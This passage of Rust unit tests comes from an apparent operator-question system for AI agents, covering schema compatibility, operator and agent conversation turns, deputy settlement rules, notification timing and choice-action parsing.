2678 assert!(q.assets.is_empty());
2679 // Schema 1 predates `thread` entirely - not merely predates it having
2680 // any turns - and this build now speaks schema 3. Reading it must not
2681 // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2682 // accepted and the missing field defaults to no conversation yet.
2683 assert_eq!(q.schema, 1);
2684 assert!(q.thread.is_empty());
2685 assert_eq!(
2686 q.answer_timeout, 0,
2687 "an absent field means unrecorded, not a zero-second deadline"
2688 );
2689 assert!(!q.waiting_on_agent());
2690 assert_eq!(q.summary, "Which storage backend should the cache use?");
2691 assert_eq!(
2692 s.list().len(),
2693 1,
2694 "and it is still listed; skipping it would hide an open question"
2695 );
2696 }
2697
2698 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2699 Turn {
2700 who,
2701 body: body.to_owned(),
2702 at,
2703 }
2704 }
2705
2706 #[test]
2707 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2708 // The phone reads this shape by hand, same as the question itself: a
2709 // rename here is a card that silently drops every message in it.
2710 let mut q = choice_question();
2711 q.thread
2712 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2713 let value = serde_json::to_value(&q.thread[0]).unwrap();
2714 let mut keys: Vec<&str> = value
2715 .as_object()
2716 .unwrap()
2717 .keys()
2718 .map(String::as_str)
2719 .collect();
2720 keys.sort_unstable();
2721 assert_eq!(keys, ["at", "body", "who"]);
2722 assert_eq!(value["who"], "operator");
2723 assert_eq!(value["body"], "why not Postgres?");
2724
2725 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2726 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2727 assert_eq!(parsed.who, Who::Agent);
2728 }
2729
2730 #[test]
2731 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
2732 let mut q = Question::new(
2733 "task".to_owned(),
2734 "conduct".to_owned(),
2735 "conduct".to_owned(),
2736 "Done?".to_owned(),
2737 String::new(),
2738 vec!["yes".to_owned(), "no".to_owned()],
2739 );
2740 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
2741 seat.turns = 1;
2742 let mut dep = Deputy::new("brief".to_owned());
2743 dep.seat = Some(seat);
2744 q.deputy = Some(dep);
2745 q.say("setup done, go ahead").unwrap();
2746
2747 assert!(
2748 q.settle_by_deputy("someone-else", "yes", "setup done")
2749 .is_err()
2750 );
2751 assert!(
2752 q.settle_by_deputy("deputy-x", "maybe", "setup done")
2753 .is_err()
2754 );
2755 assert!(
2756 q.settle_by_deputy("deputy-x", "yes", "never said this")
2757 .is_err()
2758 );
2759 assert!(q.settle_by_deputy("deputy-x", "yes", " ").is_err());
2760 assert_eq!(q.status, QuestionStatus::Open);
2761
2762 q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
2763 assert_eq!(q.status, QuestionStatus::Answered);
2764 assert_eq!(q.resolution().as_deref(), Some("yes"));
2765 let last = q.thread.last().unwrap();
2766 assert_eq!(last.who, Who::Agent);
2767 assert!(
2768 last.body.contains("setup done"),
2769 "the quote stays on the record"
2770 );
2771 }
2772
2773 #[test]
2774 fn a_question_written_before_deputies_still_reads() {
2775 let mut q = Question::new(
2776 "task".to_owned(),
2777 "conduct".to_owned(),
2778 "conduct".to_owned(),
2779 "Done?".to_owned(),
2780 String::new(),
2781 Vec::new(),
2782 );
2783 q.schema = 4;
2784 let mut v = serde_json::to_value(&q).unwrap();
2785 v.as_object_mut().unwrap().remove("deputy");
2786 let back: Question = serde_json::from_value(v).unwrap();
2787 assert!(back.deputy.is_none());
2788 }
2789
2790 #[test]
2791 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2792 let mut q = choice_question();
2793 q.say("does the cache need eviction?").unwrap();
2794 assert_eq!(q.thread.len(), 1);
2795 assert_eq!(q.thread[0].who, Who::Operator);
2796 assert_eq!(q.thread[0].body, "does the cache need eviction?");
2797 // Speaking is not deciding: the status and the answer are untouched,
2798 // which is the whole point of the round trip existing at all.
2799 assert_eq!(q.status, QuestionStatus::Open);
2800 assert!(q.answer.is_none());
2801 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2802 }
2803
2804 #[test]
2805 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2806 let mut answered = choice_question();
2807 answered
2808 .answer(Answer::Choice("SQLite".to_owned()))
2809 .unwrap();
2810 let a = answered.say("still there?").unwrap_err().to_string();
2811 assert!(a.contains("already answered"), "{a}");
2812 let b = answered
2813 .reply("still there?", vec![])
2814 .unwrap_err()
2815 .to_string();
2816 assert!(b.contains("already answered"), "{b}");
2817
2818 let mut abandoned = choice_question();
2819 abandoned.abandon("timed out");
2820 let c = abandoned.say("hello?").unwrap_err().to_string();
2821 assert!(c.contains("abandoned"), "{c}");
2822
2823 let mut open = choice_question();
2824 let d = open.say(" ").unwrap_err().to_string();
2825 assert!(d.contains("empty"), "{d}");
2826 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
2827 assert!(e.contains("empty"), "{e}");
2828 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2829 }
2830
2831 #[test]
2832 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2833 let mut q = choice_question();
2834 q.say("SQLite or Redis, but what about disk space?")
2835 .unwrap();
2836 assert!(q.waiting_on_agent());
2837
2838 q.reply(
2839 "SQLite: it is one file, no server to run.",
2840 vec!["SQLite".to_owned()],
2841 )
2842 .unwrap();
2843
2844 assert_eq!(q.choices, ["SQLite"]);
2845 assert!(
2846 !q.waiting_on_agent(),
2847 "the agent spoke, so the owner is the one being waited on now"
2848 );
2849 assert_eq!(q.thread.len(), 2);
2850 assert_eq!(q.thread[1].who, Who::Agent);
2851
2852 // The new choice set is what a subsequent answer is checked against.
2853 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2854 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2855 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2856 }
2857
2858 #[test]
2859 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2860 let mut fresh = choice_question();
2861 assert!(
2862 fresh.should_notify(Timestamp::now()),
2863 "nobody has been notified yet, so the first ask always pages"
2864 );
2865
2866 fresh.say("why not Postgres?").unwrap();
2867 let just_said = fresh.thread[0].at;
2868 assert!(
2869 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2870 "still on the screen a minute later; no need to page again"
2871 );
2872 assert!(
2873 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2874 "exactly the window: `>` means this side stays quiet"
2875 );
2876 assert!(
2877 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2878 "past the window: they may have walked away"
2879 );
2880 }
2881
2882 #[test]
2883 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2884 let (_dir, s) = store();
2885 let mut q = choice_question();
2886 s.put(&mut q).unwrap();
2887 q.say("why not Postgres?").unwrap();
2888 s.put(&mut q).unwrap();
2889 q.reply("no server to run", vec!["SQLite".to_owned()])
2890 .unwrap();
2891 s.put(&mut q).unwrap();
2892
2893 assert_eq!(
2894 s.count_open(),
2895 1,
2896 "one question that talked twice is still one open question"
2897 );
2898 assert_eq!(s.open_for(&q.run).len(), 1);
2899 }
2900
2901 #[tokio::test]
2902 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2903 let (dir, s) = store();
2904 let mut q = choice_question();
2905 let id = q.id.clone();
2906 let writer = Questions::at(dir.path().join("questions"));
2907 let handle = tokio::spawn(async move {
2908 tokio::time::sleep(Duration::from_millis(30)).await;
2909 let mut fresh = writer.get(&id).expect("the question was filed first");
2910 fresh.say("why not Postgres?").unwrap();
2911 writer.put(&mut fresh).unwrap();
2912 });
2913
2914 let got = wait_for_owner(
2915 &mut q,
2916 &s,
2917 &quiet(),
2918 Duration::from_secs(5),
2919 Duration::from_millis(10),
2920 )
2921 .await
2922 .unwrap();
2923
2924 handle.await.unwrap();
2925 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2926 assert_eq!(
2927 q.status,
2928 QuestionStatus::Open,
2929 "talking back is not a decision; the question stays open"
2930 );
2931 assert!(q.answer.is_none());
2932 }
2933
2934 #[test]
2935 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
2936 let mut q = choice_question();
2937 q.say("A").unwrap();
2938 q.delivered_turns = q.thread.len();
2939 q.say("B").unwrap();
2940 q.reply("about A", vec![]).unwrap();
2941 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
2942 q.delivered_turns = q.thread.len();
2943 assert_eq!(q.unread_from_owner(), None);
2944 }
2945
2946 #[test]
2947 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
2948 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
2949 let ok = parse_actions(
2950 &[
2951 "resume で続行する=resume".to_owned(),
2952 "wait=done".to_owned(),
2953 ],
2954 &choices,
2955 "run-1",
2956 )
2957 .unwrap();
2958 assert_eq!(
2959 ok["resume で続行する"],
2960 ChoiceAction::Resume {
2961 run: "run-1".into()
2962 }
2963 );
2964 assert_eq!(ok["wait"], ChoiceAction::Done);
2965
2966 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
2967 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
2968 assert_eq!(
2969 ChoiceAction::parse("x=requeue", "").unwrap().1,
2970 ChoiceAction::Requeue
2971 );
2972
2973 for bad in [
2974 "no-equals",
2975 "=done",
2976 "x=resume",
2977 "x=resume:",
2978 "x=explode",
2979 "x=done:1",
2980 ] {
2981 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
2982 }
2983 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
2984 assert!(
2985 parse_actions(
2986 &["wait=done".to_owned(), "wait=requeue".to_owned()],
2987 &choices,
2988 ""
2989 )
2990 .is_err()
2991 );
2992 }
2993
2994 #[test]
2995 fn only_a_chosen_label_with_an_action_is_actionable() {
2996 let mut q = choice_question();
2997 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
2998 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
2999 assert!(q.chosen_action().is_none(), "unanswered");
3000 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3001 assert!(
3002 q.chosen_action().is_none(),
3003 "a label that merely reads like an action does nothing"
3004 );
3005
3006 let mut q2 = choice_question();
3007 q2.choices = vec!["SQLite".to_owned()];
3008 q2.actions
3009 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3010 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3011 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3012 }
3013
3014 #[test]
3015 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3016 let mut q = choice_question();
3017 q.choices = vec!["A".to_owned(), "B".to_owned()];
3018 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3019 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3020 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3021 assert_eq!(q.actions.len(), 1);
3022 assert!(q.actions.contains_key("B"));
3023
3024 let mut v = serde_json::to_value(&q).unwrap();
3025 v.as_object_mut().unwrap().remove("actions");
3026 let old: Question = serde_json::from_value(v).unwrap();
3027 assert!(old.actions.is_empty());
3028 }
3029}